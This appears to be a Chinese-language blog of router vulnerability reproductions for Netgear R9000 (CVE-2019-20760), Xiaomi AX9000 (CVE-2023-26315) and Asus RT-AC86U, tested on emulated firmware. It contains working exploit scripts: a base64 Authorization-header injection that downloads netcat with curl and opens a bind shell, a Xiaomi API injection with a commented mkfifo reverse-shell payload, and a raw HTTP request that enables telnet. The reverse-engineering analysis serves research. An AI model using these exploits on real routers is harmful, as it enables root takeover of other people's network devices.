Netgear R9000 RCE漏洞复现

Netgear R9000 RCE漏洞复现

0x00 简介

品牌型号:Netgear R9000
固件版本:R9000-V1.0.4.26
固件下载地址:https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip
漏洞编号:CVE-2019-20760
漏洞描述:NETGEAR R9000 devices before 1.0.4.26 are affected by authentication bypass.
1.0.4.26之前的NETGEAR R9000设备受身份验证绕过的影响。

0x01 FrmAE固件模拟

使用FirmAE直接运行模拟
sudo ./run.sh -d netgear ~/Desktop/Firm/R9000-V1.0.4.26.img

FirmAE返回两个true,说明固件和web服务器都模拟成功,但是打开浏览器输入192.168.1.1,却无法访问到主页,不过访问别的页面会提示未授权,说明核心的web服务是开启的状态。

浏览器输入http://192.168.1.1/cgi-bin/
会弹出登录框提示输入用户名和密码

这里随便输入admin,密码123456,点击Sign in然后抓取发送的包

可以看到我们输入的用户名和密码被加密了,加密算法是base64。在密码这里,我们输入任意命令,都会被系统执行。
我们改掉冒号后面的内容为我们想执行的命令,比如 echo 1 >/tmp/1.txt


点击发送,然后在FirmAE shell里面查看,发现指令成功执行

打开IDA,可以看到漏洞点位于这里,程序拿到GET包之后,对包里面的内容做了识别,识别Basic后面的字符,然后调用b64decode()函数对Basic后面的参数进行decode,然后用strchr找到里面的”:”字符,对”:”后面的字符进行哈希加密,然后存入/tmp/hash_result文件,这条命令调用了system函数执行,将密码字段换成带或者,就可以执行任意命令了。

0x02 漏洞利用

看了一下固件里面的二进制文件,发现里面有wget,curl等工具,我们就可以试试用wget或者curl传进去一个木马或者netcat来达到控制路由器的目的。由于目标系统是arm32架构,我们需要自己编译一个nc,而且得是静态的。
先去netcat官网下载源码:
https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download
解压:tar -xvf netcat-0.7.1.tar.gz
安装交叉编译器:sudo apt-get install gcc-arm-linux-gnueabihf
更改编译器为arm-linux-gnueabihf-gcc:./configure --host=arm-linux-gnueabihf
设置静态编译:打开configure文件,在里面任意位置加入这句话:
export LDFLAGS="-static"
开始编译:make
然后在src目录下就能拿到我们编译的二进制文件netcat

在这个目录下开启http服务,以便路由器下载netcat:python3 -m http.server
然后运行我们的脚本。

import requests
from pwn import *
import base64

cmd = 'admin:'
cmd += '`'
cmd +='curl -O 192.168.1.2:8000/netcat\n'
cmd +='chmod 777 ./netcat\n'
cmd += './netcat -l -p 4444 -e /bin/sh'
cmd +='`'
cmd_b64 = base64.b64encode(cmd.encode()).decode()

burp0_url = "http://192.168.1.1:80/cgi-bin/"
burp0_headers = {"Cache-Control": "max-age=0", 
"Authorization": "Basic " + cmd_b64, 
"Upgrade-Insecure-Requests": "1", 
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", 
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", 
"Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
requests.get(burp0_url, headers=burp0_headers)

这里用curl而不是用wget的原因,是经测试,FirmAE模拟下的R9000固件运行wget会报错,所以只能用curl -O下载文件。

然后chmod 777 ./netcat给权限,然后使用./netcat -l -p 4444 -e /bin/sh开启反弹shell
执行脚本:

攻击端执行:nc 192.168.1.1 4444

成功拿到shell。

小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现

小米AX9000 CVE-2023-26315 / CNVD-2024-23093 漏洞复现

漏洞概述:小米路由器AX9000存在认证后命令注入漏洞。此漏洞是由于缺乏输入筛选导致的,攻击者可以利用此漏洞获得对设备的root访问权限。
漏洞编号:CVE-2023-26315 / CNVD-2024-23093
漏洞涉及固件:miwifi_ra70_firmware_cc424_1.0.168.bin
下载链接:https://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/ra70/miwifi_ra70_firmware_cc424_1.0.168.bin

固件模拟

模拟固件开始:
根据WINMT的文章所述,先用binwalk3解压固件

binwalk3 -Me miwifi_ra70_firmware_cc424_1.0.168.bin

然后进入squashfs-root文件夹
由于固件用到了proc和dev里面的一些接口,这里就直接用mount –bind命令将本机的dev和proc文件挂载到squashfs-root文件夹内的dev和proc

sudo mount --bind /proc proc
sudo mount --bind /dev dev

然后用chroot . sh更改更目录为squashfs-root,并启动固件的bash

chroot . /bin/sh

直接启动sysapihttpd,会报noexistdictory错误,可知缺少/var/lock/procd_sysapihttpd.lock这个文件。然后还需要启动ubusd,ubusd会报丢失/var/run/ubus.sock,创建这两个目录和文件即可

mkdir /var/run
mkdir /var/lock
touch /var/run/ubus.sock
touch /var/lock/procd_sysapihttpd.lock

然后启动procd守护进程,ubusd服务,再执行启动sysapihttpd的脚本,即可启动web服务

/sbin/procd &
ubusd &
/etc/init.d/sysapihttpd start


我们在mac book pro M3系列arm64虚拟机上模拟一切正常并且可以打开web网页,但是在x64架构上的虚拟机中模拟失败了,后面的一系列操作都是在macbook上完成的。
直接访问IP地址,即可见到web页面

由于固件是模拟起来的,所以在初始化设置的时候会有一些问题,所以需要执行以下命令跳过初始化

uci set xiaoqiang.common.INITTED=1
uci commit

再次访问即可进入路由器管理登录页面

由于我们跳过了初始化,所以也没有设置路由器管理密码,这里就只能通过命令行输入

uci set account.common.admin=b3a4190199d9ee7fe73ef9a4942a69fece39a771
uci commit

即可更改密码为admin,这里的b3a4190199d9ee7fe73ef9a4942a69fece39a771来自sha1加密,sha1原文是admin加上一段固定的字符串a2ffa5c9be07488bbb04a3a47d3c5f6a
sha1(admina2ffa5c9be07488bbb04a3a47d3c5f6a)=b3a4190199d9ee7fe73ef9a4942a69fece39a771

漏洞复现

在运行脚本前,还需要启动两个服务,并且登录,拿到token

/usr/sbin/datacenter &
/usr/sbin/plugincenter &


攻击载荷:

import requests

server_ip = "192.168.1.193"  
token = "4d58c174fe0f30c0797efc7f228142b6"
nc_shell =";echo 1 > /tmp/1.txt;"
#nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 8889 >/tmp/f;".format(client_ip)

res = requests.post("http://{}/cgi-bin/luci/;stok={}/api/xqdatacenter/request".format(server_ip, token), data={'payload':'{"api":629, "appid":"' + nc_shell + '"}'})

print(res.text)


可以看到文件已创建,命令执行成功!

漏洞分析

定位到前端代码lua脚本:
/squashfs-root/usr/lib/lua/luci/controller/api
这个目录下存放了该漏洞的exp请求的lua脚本文件xqdatacenter.lua
尝试用gedit打开,发现是加密过了,用unluac_miwifi这个工具可以进行解密还原

git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build  .

得到jar文件后,将unluac.jar拷贝到该目录,然后执行

java -jar ./unluac.jar ./xqdatacenter.lua > decode_xqdatacenter.lua

就能得到解密后的lua脚本了。
通过定位request关键字,我们能找到index -> tunnelRequest这里

function L0()
  local L0, L1, L2, L3, L4, L5, L6
  L0 = node
  L1 = "api"
  L2 = "xqdatacenter"
  L0 = L0(L1, L2)
  L1 = firstchild
  L1 = L1()
  L0.target = L1
  L0.title = ""
  L0.order = 300
  L0.sysauth = "admin"
  L0.sysauth_authenticator = "jsonauth"
  L0.index = true
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L2[1] = L3
  L2[2] = L4
  L3 = firstchild
  L3 = L3()
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 300
  L1(L2, L3, L4, L5)
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L5 = "request"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
  L3 = call
  L4 = "tunnelRequest"
  L3 = L3(L4)
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 301
  L1(L2, L3, L4, L5)
  L1 = entry
  ...skip...
    L3 = "api"
  L4 = "xqdatacenter"
  L5 = "fsys_resume"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
  L3 = call
  L4 = "fsysResume"
  L3 = L3(L4)
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 301
  L1(L2, L3, L4, L5)
end
index = L0
function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8
  L0 = require
  L1 = "xiaoqiang.util.XQCryptoUtil"
  L0 = L0(L1)
  L1 = L0.binaryBase64Enc
  L2 = _UPVALUE0_
  L2 = L2.formvalue_unsafe
  L3 = "payload"
  L2, L3, L4, L5, L6, L7, L8 = L2(L3)
  L1 = L1(L2, L3, L4, L5, L6, L7, L8)
  L2 = _UPVALUE1_
  L2 = L2.THRIFT_TUNNEL_TO_DATACENTER
  L2 = L2 % L1
  L3 = require
  L4 = "luci.util"
  L3 = L3(L4)
  L4 = _UPVALUE0_
  L4 = L4.write
  L5 = L3.exec
  L6 = L2
  L5 = L5(L6)
  L6 = nil
  L7 = false
  L8 = true
  L4(L5, L6, L7, L8)
end
tunnelRequest = L5

可以看到脚本中tunnelRequest函数用先用binaryBash64Enc加密了所有request内容,然后再用L2.formvalue_unsafe函数调用payload字段的内容,然后调用THRIFT_TUNNEL_TO_DATACENTER发送出去
在/squashfs-root/usr/lib/lua/xiaoqiang/common/XQConfigs.lua中能看到THRIFT_TUNNEL_TO_DATACENTER的定义:

L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

这里执行了系统命令
thrifttunnel 0 '%s
这点在我们执行exp时也发现了。


继续跟进到/usr/sbin/thrifttunnel
调用链为

main(a1,a2) -> sub_AB08(a1,a2) -> sub_1B9B0(v13,v12) -> sub_1F1F8()  base64解密 ->  sub_1BAE0(v12) -> apache::thrift::transport::TSocket::TSocket(v2, v22, 9090LL); 建立socket发送到localhost:9090端口。


第一参数为0,第二参数为eyJhcGkiOjYyOSwgImFwcGlkIjoiO2VjaG8gMSA+IC90bXAvMTIzNC50eHQ7In0=

这里sub_1B6FC经查看,程序功能接近strcpy,将字符串拷贝进v13,然后调用sub_1B9B0(v13,v12)并在该函数调用sub_1F1F8()解密,然后将值传给v12

再回到sub_AB08(),进入case 0:分支sub_1BAE0(v12)

然后在sub_1BAE0函数,建立socket并且发送到localhost:9090进程间通信。

之后的调用链位于/usr/sbin/datacenter
进入main函数,可以看到程序监听了localhost:9090端口

然后程序将获取到的值经过一系列thrift库函数传递到constructAPIMappingTable中,然后在该函数中的

datacenter::PluginApiCollection::sConstructMappingTable(a1)

里面,定义了所有apiid的具体选项

然后到callPluginCenter函数,将数据发送到localhost:9091

然后用IDA打开/usr/sbin/plugincenter发现这里和datacenter的逻辑一样,监听了9091端口获取数据给v41
然后调用apache::thrift::server::TNonblockingServer::serve((apache::thrift::server::TNonblockingServer *)v41);传递给中间函数做下一步处理
datacenter::PluginApiMappingExtendCollection::sConstructMappingTable里面定义了所有API ID对应调用的函数

发现程序调用了parseGetIdForVendor经过一系列处理后,将获取到的json内容传入PluginApi::getIdForVendor

然后在这个函数里面调用了CommonUtils::sCallSystem(v15, v13);
这里虽然有一个判断,检测app id是否合法,但是识别到invalid app id之后,程序并没有退出,而是继续往下执行,结果就造成了命令执行

结语

这是我第一次模拟出来小米路由器的固件,winmt大大给出的模拟方法和他的思路令人叹为观止,特此学习并记录下来。

Asus RT-AC86u Command injection

Description

Use the authorization page to enable the telnet service and execute arbitrary commands with the ROOT privilege

First login,then go to url :

http://routeip/Main_AdmStatus_Content.asp

To open telnetd services,input:”run_telnetd” then click refresh to send http requests,then in attacker pc ,run “telnet routeip” to connect router telnet service,then you have access to the route

Brand

Asus

Firmware version

RT-AC86U_3.0.0.4_384_10007-g8e859e9_cferom_ubi.w

POC:

POST /apply.cgi HTTP/1.1
Host: router.asus.com
Content-Length: 219
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://router.asus.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://router.asus.com/Main_AdmStatus_Content.asp
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: clickedItem_tab=0; asus_token=TvNnbwfKt2L7qHFOxlSw7geYJGZudcZ
Connection: close
current_page=Main_AdmStatus_Content.asp&next_page=Main_AdmStatus_Content.asp&group_id=&modified=0&action_mode=+Refresh+&action_script=&action_wait=&first_time=&preferred_lang=CN&SystemCmd=run_telnetd&action=%E5%88%B7%E6%96%B0

Vulnerability analysis

In binary file /usr/sbin/httpd,function :sub_46A04